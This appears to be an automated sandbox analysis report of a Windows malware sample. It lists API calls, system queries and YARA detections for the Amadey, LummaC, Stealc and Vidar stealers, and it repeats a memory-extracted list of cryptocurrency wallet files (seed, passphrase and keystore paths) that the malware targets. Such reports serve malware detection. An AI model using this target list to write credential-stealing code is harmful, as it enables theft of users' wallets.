Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CF84760 malloc,InitializeSecurityDescriptor,SetSecurityDescriptorOwner,SetSecurityDescriptorGroup,GetLengthSid,GetLengthSid,GetLengthSid,malloc,InitializeAcl,AddAccessAllowedAce,AddAccessAllowedAce,AddAccessAllowedAce,SetSecurityDescriptorDacl,PR_SetError,GetLastError,free,GetLastError,GetLastError,free,free,free,

0_2_6CF84760

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CE61C30 GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetLengthSid,malloc,CopySid,CopySid,GetTokenInformation,GetLengthSid,malloc,CopySid,CloseHandle,AllocateAndInitializeSid,GetLastError,PR_LogPrint,

0_2_6CE61C30

Source: 16b11e2c5c.exe, 0000001A.00000002.2486805696.0000000000622000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: Program Manager
Source: skotes.exe, skotes.exe, 00000018.00000002.2490990505.0000000000940000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 7Program Manager
Source: file.exe, file.exe, 00000000.00000002.1860348487.0000000000D7F000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CF3AE71 cpuid

0_2_6CF3AE71

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013061001\7215223519.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1013061001\7215223519.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CF3A8DC GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_6CF3A8DC

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 24_2_007165E0 LookupAccountNameA,

24_2_007165E0

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 24_2_00752517 GetTimeZoneInformation,

24_2_00752517

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CE88390 NSS_GetVersion,

0_2_6CE88390

Source: C:\Users\user\AppData\Local\Temp\1013060001\16b11e2c5c.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 20.2.skotes.exe.710000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.FIDGHIIECG.exe.660000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.skotes.exe.710000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.skotes.exe.710000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000018.00000002.2488545879.0000000000711000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.1917285827.0000000000711000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.1916958875.0000000000711000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.1891033579.0000000000661000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY

Yara detected LummaC Stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: 16b11e2c5c.exe PID: 5816, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 0000001C.00000003.2475592661.0000000004C80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1246263357.0000000004F00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1861693322.000000000129E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1859870792.00000000009B1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 2688, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 7215223519.exe PID: 7184, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 2688, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.1861693322.0000000001290000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1861693322.0000000001290000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1861693322.0000000001290000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1861693322.0000000001290000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1861693322.0000000001290000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1861693322.0000000001290000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1861693322.0000000001290000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1861693322.0000000001290000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1861693322.0000000001290000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda 